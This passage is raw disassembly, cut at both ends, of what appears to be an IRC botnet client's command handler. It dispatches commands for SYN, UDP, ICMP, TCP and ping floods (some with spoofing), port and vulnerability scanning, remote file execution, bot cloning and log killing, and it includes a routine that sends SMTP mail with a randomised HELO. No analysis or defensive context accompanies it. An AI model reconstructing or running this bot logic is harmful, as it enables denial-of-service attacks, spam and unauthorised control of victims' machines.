[ebp+var_C58] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40600F loc_405FF9: ; CODE XREF: sub_401ACD+4540j cmp [ebp+var_BCC], ebx jnz loc_40828C push 32h nop call near ptr 26A0F44h jmp short loc_405FF9 ; --------------------------------------------------------------------------- loc_40600F: ; CODE XREF: sub_401ACD+452Aj call near ptr 26B0857h nop push eax push offset dword_42B5A0 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_406020: ; CODE XREF: sub_401ACD+43E5j push edi push offset aNet ; "net" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406270 cmp dword_4CB724, ebx jz short loc_40604F cmp dword_4CB74C, ebx jz short loc_40604F push offset unk_42B564 jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_40604F: ; CODE XREF: sub_401ACD+456Ej ; sub_401ACD+4576j cmp [ebp+var_C], ebx jz loc_406CDF mov edi, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp edi, ebx jz short loc_406074 push edi push [ebp+var_C] call sub_41B900 pop ecx mov [ebp+arg_0], eax pop ecx loc_406074: ; CODE XREF: sub_401ACD+4597j push [ebp+arg_10] push offset aStart ; "start" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060C1 cmp edi, ebx jz short loc_406095 push [ebp+arg_0] push 3 jmp loc_406127 ; --------------------------------------------------------------------------- loc_406095: ; CODE XREF: sub_401ACD+45BCj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41895C add esp, 0Ch test eax, eax jz short loc_4060B7 push offset unk_42B538 jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_4060B7: ; CODE XREF: sub_401ACD+45DEj push offset unk_42B518 jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_4060C1: ; CODE XREF: sub_401ACD+45B8j push [ebp+arg_10] push offset aStop ; "stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060DB push [ebp+arg_0] push 4 jmp short loc_406127 ; --------------------------------------------------------------------------- loc_4060DB: ; CODE XREF: sub_401ACD+4605j push [ebp+arg_10] push offset aPause ; "pause" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060F5 push [ebp+arg_0] push 5 jmp short loc_406127 ; --------------------------------------------------------------------------- loc_4060F5: ; CODE XREF: sub_401ACD+461Fj push [ebp+arg_10] push offset aContinue ; "continue" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40610F push [ebp+arg_0] push 6 jmp short loc_406127 ; --------------------------------------------------------------------------- loc_40610F: ; CODE XREF: sub_401ACD+4639j push [ebp+arg_10] push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406139 push [ebp+arg_0] push 1 loc_406127: ; CODE XREF: sub_401ACD+45C3j ; sub_401ACD+460Cj ... call sub_4186C2 pop ecx pop ecx loc_40612E: ; CODE XREF: sub_401ACD+46A2j ; sub_401ACD+472Aj ... push eax push offset aS_1 ; "%s" jmp loc_406CD0 ; --------------------------------------------------------------------------- loc_406139: ; CODE XREF: sub_401ACD+4653j push [ebp+arg_10] push offset aShare ; "share" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40619E cmp edi, ebx jz short loc_406171 cmp [ebp+var_8FC], bl jz short loc_40615E push ebx push edi push 1 jmp short loc_406167 ; --------------------------------------------------------------------------- loc_40615E: ; CODE XREF: sub_401ACD+4689j push [ebp+esi+var_84] push edi push ebx loc_406167: ; CODE XREF: sub_401ACD+468Fj call sub_418A99 add esp, 0Ch jmp short loc_40612E ; --------------------------------------------------------------------------- loc_406171: ; CODE XREF: sub_401ACD+4681j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418C8F add esp, 10h test eax, eax jz short loc_406194 push offset unk_42B4D0 jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_406194: ; CODE XREF: sub_401ACD+46BBj push offset unk_42B4B0 jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_40619E: ; CODE XREF: sub_401ACD+467Dj push [ebp+arg_10] push offset aUser ; "user" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406229 cmp edi, ebx jz short loc_4061FC cmp [ebp+var_8FC], bl jz short loc_4061CF push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push ebx push edi push 1 jmp short loc_4061EF ; --------------------------------------------------------------------------- loc_4061CF: ; CODE XREF: sub_401ACD+46EEj push [ebp+var_4] mov esi, [ebp+esi+var_84] cmp esi, ebx push [ebp+var_88] push [ebp+arg_4] jz short loc_4061EB push esi push edi push ebx jmp short loc_4061EF ; --------------------------------------------------------------------------- loc_4061EB: ; CODE XREF: sub_401ACD+4717j push ebx push edi push 2 loc_4061EF: ; CODE XREF: sub_401ACD+4700j ; sub_401ACD+471Cj call sub_418DB0 add esp, 18h jmp loc_40612E ; --------------------------------------------------------------------------- loc_4061FC: ; CODE XREF: sub_401ACD+46E6j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4192E0 add esp, 10h test eax, eax jz short loc_40621F push offset unk_42B490 jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_40621F: ; CODE XREF: sub_401ACD+4746j push offset unk_42B470 jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_406229: ; CODE XREF: sub_401ACD+46E2j push [ebp+arg_10] push offset aSend ; "send" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406266 cmp edi, ebx jz short loc_40625C push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_419594 add esp, 10h jmp loc_40612E ; --------------------------------------------------------------------------- loc_40625C: ; CODE XREF: sub_401ACD+4771j push offset unk_42B444 jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_406266: ; CODE XREF: sub_401ACD+476Dj push offset unk_42B428 jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_406270: ; CODE XREF: sub_401ACD+4562j push edi push offset aCapture ; "capture" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFE push edi push offset aCap ; "cap" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFE push edi push offset aGethost ; "gethost" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D0A push edi push offset aGh ; "gh" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D0A loc_4062C4: ; CODE XREF: sub_401ACD+3CBEj ; sub_401ACD+3CEDj ... mov edi, [ebp+esi+var_88] cmp edi, ebx mov [ebp+arg_1C], edi jz loc_401E94 push [ebp+arg_8] push offset aKilllog ; "killlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CF0 push [ebp+arg_8] push offset aKl ; "kl" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CF0 push [ebp+arg_8] push offset aAddalias ; "addalias" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAD push [ebp+arg_8] push offset aAa ; "aa" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAD push [ebp+arg_8] push offset aPrivmsg_0 ; "privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C58 push [ebp+arg_8] push offset dword_42BC00 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C58 push [ebp+arg_8] push offset aAction ; "action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEB push [ebp+arg_8] push offset aA ; "a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEB push [ebp+arg_8] push offset aCycle ; "cycle" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B87 push [ebp+arg_8] push offset aCy ; "cy" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B87 push [ebp+arg_8] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4B push [ebp+arg_8] push offset aM ; "m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4B push [ebp+arg_8] push offset aC_raw ; "c_raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADC push [ebp+arg_8] push offset aC_r ; "c_r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADC push [ebp+arg_8] push offset aC_mode ; "c_mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A56 push [ebp+arg_8] push offset aC_m ; "c_m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A56 push [ebp+arg_8] push offset aC_nick ; "c_nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E6 push [ebp+arg_8] push offset aC_n ; "c_n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E6 push [ebp+arg_8] push offset aC_join ; "c_join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089C0 push [ebp+arg_8] push offset aC_j ; "c_j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089C0 push [ebp+arg_8] push offset aC_part ; "c_part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895C push [ebp+arg_8] push offset aC_p ; "c_p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895C push [ebp+arg_8] push offset aTarga3 ; "targa3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408887 push [ebp+arg_8] push offset aT3 ; "t3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408887 push [ebp+arg_8] push offset aTsunami ; "tsunami" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878C push [ebp+arg_8] push offset aTsn ; "tsn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878C push [ebp+arg_8] push offset aRepeat ; "repeat" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408688 push [ebp+arg_8] push offset aRp ; "rp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408688 push [ebp+arg_8] push offset aDelay ; "delay" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E9 push [ebp+arg_8] push offset aDe ; "de" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E9 push [ebp+arg_8] push offset aJpDe10 ; "jp]de10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408458 push [ebp+arg_8] push offset aJp10 ; "jp]10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408458 push [ebp+arg_8] push offset aExecute ; "execute" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C5 push [ebp+arg_8] push offset aE ; "e" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C5 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B6 push [ebp+arg_8] push offset aFf ; "ff" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B6 push [ebp+arg_8] push offset aRename ; "rename" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823F push [ebp+arg_8] push offset aMv ; "mv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823F push [ebp+arg_8] push offset aIcmpflood ; "icmpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408142 push [ebp+arg_8] push offset aIcmp ; "icmp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408142 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz loc_401E94 push [ebp+arg_8] push offset aClone_0 ; "clone" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40805A push [ebp+arg_8] push offset aC ; "c" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40805A push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F61 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F61 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F61 push [ebp+arg_8] push offset aWisdom_udp ; "wisdom.udp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4067D7 push 7Fh lea eax, [ebp+var_327C] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_31FC] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_317C] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_30FC] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3074], eax push ebx lea eax, [ebp+var_2C4] push 13h push eax mov [ebp+var_3078], edi mov [ebp+var_3280], esi call sub_40B0F7 add esp, 3Ch mov [ebp+var_307C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3280] push ebx push eax push offset byte_4146CF push ebx push ebx call near ptr 26B0000h nop mov ecx, [ebp+var_307C] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_4067C6 loc_4067B0: ; CODE XREF: sub_401ACD+4CF7j cmp [ebp+var_3070], ebx jnz loc_403DA1 push 32h nop call near ptr 26A0F44h jmp short loc_4067B0 ; --------------------------------------------------------------------------- loc_4067C6: ; CODE XREF: sub_401ACD+4CE1j nop call near ptr 26B0857h push eax push offset unk_42B29C jmp loc_403D92 ; --------------------------------------------------------------------------- loc_4067D7: ; CODE XREF: sub_401ACD+4C37j push [ebp+arg_8] push offset aSynflood ; "synflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E79 push [ebp+arg_8] push offset aSyn ; "syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E79 push [ebp+arg_8] push offset aSkysyn ; "skysyn" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406904 push 7Fh lea eax, [ebp+var_36A4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3624] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_35A4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3524] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_34A0], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_349C], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_36A8], esi push [ebp+arg_10] push offset dword_42B254 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 10h push eax call sub_40B0F7 add esp, 20h mov [ebp+var_34A4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36A8] push ebx push eax push offset byte_413627 push ebx push ebx nop call near ptr 26B0000h mov ecx, [ebp+var_34A4] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_4068F3 loc_4068DD: ; CODE XREF: sub_401ACD+4E24j cmp [ebp+var_3498], ebx jnz loc_407279 push 32h nop call near ptr 26A0F44h jmp short loc_4068DD ; --------------------------------------------------------------------------- loc_4068F3: ; CODE XREF: sub_401ACD+4E0Ej nop call near ptr 26B0857h push eax push offset dword_42B218 jmp loc_40726A ; --------------------------------------------------------------------------- loc_406904: ; CODE XREF: sub_401ACD+4D49j push [ebp+arg_8] push offset aPhatwonk ; "phatwonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D91 push [ebp+arg_8] push offset aWonk ; "wonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D91 push [ebp+arg_8] push offset aJpldg10 ; "jpldg10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C53 push [ebp+arg_8] push offset aJpl10 ; "jpl10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C53 push [ebp+arg_8] push offset aRedirect ; "redirect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B56 push [ebp+arg_8] push offset aRd ; "rd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B56 push [ebp+arg_8] push offset aScan ; "scan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A63 push [ebp+arg_8] push offset aSc ; "sc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A63 push [ebp+arg_8] push offset aC_privmsg ; "c_privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795E push [ebp+arg_8] push offset aC_pm ; "c_pm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795E push [ebp+arg_8] push offset aC_action ; "c_action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407866 push [ebp+arg_8] push offset aC_a ; "c_a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407866 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz loc_401E94 push [ebp+arg_8] push offset aPortscan ; "portscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407760 push [ebp+arg_8] push offset aPsc ; "psc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407760 push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407299 push [ebp+arg_8] push offset aAdv ; "adv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407299 push [ebp+arg_8] push offset aUdpflood ; "udpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407150 push [ebp+arg_8] push offset aUdp ; "udp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407150 push [ebp+arg_8] push offset aU ; "u" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407150 push [ebp+arg_8] push offset aNetsend ; "netsend" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407042 push [ebp+arg_8] push offset aNs ; "ns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407042 push [ebp+arg_8] push offset aPingflood ; "pingflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F18 push [ebp+arg_8] push offset aPing_0 ; "ping" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F18 push [ebp+arg_8] push offset aP ; "p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F18 push [ebp+arg_8] push offset aTcpflood ; "tcpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6F push [ebp+arg_8] push offset aTcp ; "tcp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6F push [ebp+arg_8] push offset aEmail ; "email" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406D17 push [ebp+arg_10] lea eax, [ebp+var_47EC] push eax call sub_41BEB0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+arg_10], eax lea eax, [ebp+var_4188] push eax call sub_41BEB0 push [ebp+arg_18] lea eax, [ebp+var_4588] push eax call sub_41BEB0 push offset asc_42D128 ; " " push offset dword_42BBFC push [ebp+esi+var_7C] call sub_417EEF push eax lea eax, [ebp+var_4288] push eax call sub_41BEB0 add esp, 30h lea eax, [ebp+var_5588] push eax push 101h call dword_4CB5C4 lea eax, [ebp+var_47EC] push eax call dword_4CB6D8 push 6 push 1 push 2 mov edi, eax call dword_4CB6D4 push [ebp+arg_10] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4CB654 mov [ebp+var_31A], ax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4588] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_5988] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41B886 add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4CB5FC mov edi, 100h push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CB66C lea eax, [ebp+var_4088] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_5988] push eax push esi call dword_4CB6A4 push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CB66C push esi call dword_4CB6EC call dword_4CB5AC lea eax, [ebp+var_4588] push eax push offset unk_42B0D8 loc_406CD0: ; CODE XREF: sub_401ACD+2E83j ; sub_401ACD+4667j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 loc_406CDC: ; CODE XREF: sub_401ACD+248Cj add esp, 0Ch loc_406CDF: ; CODE XREF: sub_401ACD+4585j ; sub_401ACD+6654j ... cmp [ebp+var_8], ebx jnz short loc_406D00 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 14h loc_406D00: ; CODE XREF: sub_401ACD+29B3j ; sub_401ACD+2A06j ... mov esi, [ebp+arg_24] loc_406D03: ; CODE XREF: sub_401ACD+68F3j ; sub_401ACD+78E3j ... lea eax, [ebp+var_2C4] push eax call sub_4151AD pop ecx mov eax, esi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_406D17: ; CODE XREF: sub_401ACD+50ADj push [ebp+arg_8] push offset aHttpcon ; "httpcon" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406D41 push [ebp+arg_8] push offset aHcon ; "hcon" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4072E9 loc_406D41: ; CODE XREF: sub_401ACD+525Bj push [ebp+esi+var_7C] push [ebp+arg_18] push [ebp+arg_0] push edi call sub_41B779 pop ecx push eax push [ebp+arg_10] push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4100DC jmp loc_4040AB ; --------------------------------------------------------------------------- loc_406D6F: ; CODE XREF: sub_401ACD+507Fj ; sub_401ACD+5096j push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1354] push esi push eax call sub_41B980 lea eax, [ebp+var_1354] push eax push offset aSyn ; "syn" call sub_41C070 add esp, 14h test eax, eax jz short loc_406DD4 lea eax, [ebp+var_1354] push eax push offset aAck ; "ack" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD4 lea eax, [ebp+var_1354] push eax push offset aRandom_0 ; "random" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD4 push offset unk_42B090 jmp loc_406F05 ; --------------------------------------------------------------------------- loc_406DD4: ; CODE XREF: sub_401ACD+52CDj ; sub_401ACD+52E4j ... push [ebp+arg_18] call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_124C], eax jle loc_406F00 push [ebp+arg_10] lea eax, [ebp+var_1354] push esi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_13D4] push edi push esi push eax call sub_41B980 push [ebp+arg_0] call sub_41B779 mov [ebp+var_1250], eax add esp, 10h xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1248], eax mov eax, [ebp+arg_4] mov [ebp+var_13D8], eax lea eax, [ebp+var_12D4] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_1248], ebx mov [ebp+var_1244], eax mov eax, [ebp+var_8] mov [ebp+var_1240], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406E71 mov eax, offset aNormal ; "Normal" loc_406E71: ; CODE XREF: sub_401ACD+539Dj push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push eax push offset unk_42B04C lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 14h push eax call sub_40B0F7 add esp, 2Ch mov [ebp+var_1254], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13D8] push ebx push eax push offset word_413E36 push ebx push ebx nop call near ptr 26B0000h mov ecx, [ebp+var_1254] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_406EEF loc_406ED9: ; CODE XREF: sub_401ACD+5420j cmp [ebp+var_123C], ebx jnz loc_40828C push 32h nop call near ptr 26A0F44h jmp short loc_406ED9 ; --------------------------------------------------------------------------- loc_406EEF: ; CODE XREF: sub_401ACD+540Aj nop call near ptr 26B0857h push eax push offset unk_42B014 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_406F00: ; CODE XREF: sub_401ACD+5318j push offset unk_42AFDC loc_406F05: ; CODE XREF: sub_401ACD+2019j ; sub_401ACD+202Fj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_40828C ; --------------------------------------------------------------------------- loc_406F18: ; CODE XREF: sub_401ACD+503Aj ; sub_401ACD+5051j ... cmp dword_4CB744, ebx jnz loc_407027 mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_FF4], eax mov eax, [ebp+var_4] mov [ebp+var_FF8], eax lea eax, [ebp+var_108C] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_100C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_1008], eax call sub_41B779 push 7Fh mov [ebp+var_1004], eax push [ebp+var_88] lea eax, [ebp+var_110C] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 24h mov [ebp+var_1110], eax lea eax, [ebp+var_108C] push [ebp+var_1004] push [ebp+var_1008] push eax lea eax, [ebp+var_2C4] push [ebp+var_100C] push offset unk_42AF94 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 16h push eax call sub_40B0F7 add esp, 24h mov [ebp+var_FFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1110] push ebx push eax push offset byte_413285 push ebx push ebx call near ptr 26B0000h nop mov ecx, [ebp+var_FFC] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_407016 loc_407000: ; CODE XREF: sub_401ACD+5547j cmp [ebp+var_FF0], ebx jnz loc_40828C push 32h nop call near ptr 26A0F44h jmp short loc_407000 ; --------------------------------------------------------------------------- loc_407016: ; CODE XREF: sub_401ACD+5531j nop call near ptr 26B0857h push eax push offset unk_42AF5C jmp loc_4049EC ; --------------------------------------------------------------------------- loc_407027: ; CODE XREF: sub_401ACD+5451j push 1FFh lea eax, [ebp+var_2C4] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41B5F0 jmp loc_408289 ; --------------------------------------------------------------------------- loc_407042: ; CODE XREF: sub_401ACD+500Cj ; sub_401ACD+5023j push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push [ebp+arg_0] push offset unk_42AF08 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 push [ebp+arg_0] call sub_41AFE0 mov edx, eax push edi mov edi, edx call sub_41AFE0 push [ebp+arg_10] add edi, eax call sub_41AFE0 push [ebp+arg_8] add edi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+edi+7] push eax call sub_41B900 add esp, 40h mov [ebp+arg_C], eax push [ebp+arg_0] call sub_41B779 mov edi, [ebp+arg_1C] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_20], ebx jle short loc_40713C loc_4070C5: ; CODE XREF: sub_401ACD+561Cj push [ebp+arg_C] push edi push [ebp+arg_10] call sub_4185A5 add esp, 0Ch cmp eax, 1 mov [ebp+arg_1C], eax jz short loc_4070ED cmp eax, ebx jnz short loc_40710C inc [ebp+arg_20] mov eax, [ebp+arg_20] cmp eax, [ebp+arg_14] jl short loc_4070C5 jmp short loc_407145 ; --------------------------------------------------------------------------- loc_4070ED: ; CODE XREF: sub_401ACD+560Dj push ebx push [ebp+var_4] push offset unk_42AED0 loc_4070F6: ; CODE XREF: sub_401ACD+5681j push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 14h jmp loc_4072E9 ; --------------------------------------------------------------------------- loc_40710C: ; CODE XREF: sub_401ACD+5611j push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42AE9C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 20h loc_40713C: ; CODE XREF: sub_401ACD+55F6j cmp [ebp+arg_1C], ebx jnz loc_4072E9 loc_407145: ; CODE XREF: sub_401ACD+561Ej push ebx push [ebp+var_4] push offset unk_42AE68 jmp short loc_4070F6 ; --------------------------------------------------------------------------- loc_407150: ; CODE XREF: sub_401ACD+4FC7j ; sub_401ACD+4FDEj ... mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_C64], eax mov eax, [ebp+var_4] mov [ebp+var_C68], eax lea eax, [ebp+var_CFC] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_C7C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_C78], eax call sub_41B779 mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C74], eax jz short loc_4071B5 push esi call sub_41B779 pop ecx mov [ebp+var_C70], eax jmp short loc_4071BB ; --------------------------------------------------------------------------- loc_4071B5: ; CODE XREF: sub_401ACD+56D7j mov [ebp+var_C70], ebx loc_4071BB: ; CODE XREF: sub_401ACD+56E6j push 7Fh lea eax, [ebp+var_D7C] push [ebp+var_88] push eax call sub_41B5F0 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_CFC] mov [ebp+var_D80], esi push [ebp+var_C74] push [ebp+var_C78] push eax lea eax, [ebp+var_2C4] push [ebp+var_C7C] push offset unk_42AE20 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 17h push eax call sub_40B0F7 add esp, 24h mov [ebp+var_C6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D80] push ebx push eax push offset byte_413411 push ebx push ebx nop call near ptr 26B0000h mov ecx, [ebp+var_C6C] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40725E loc_40724C: ; CODE XREF: sub_401ACD+578Fj cmp [ebp+var_C60], ebx jnz short loc_407279 push 32h nop call near ptr 26A0F44h jmp short loc_40724C ; 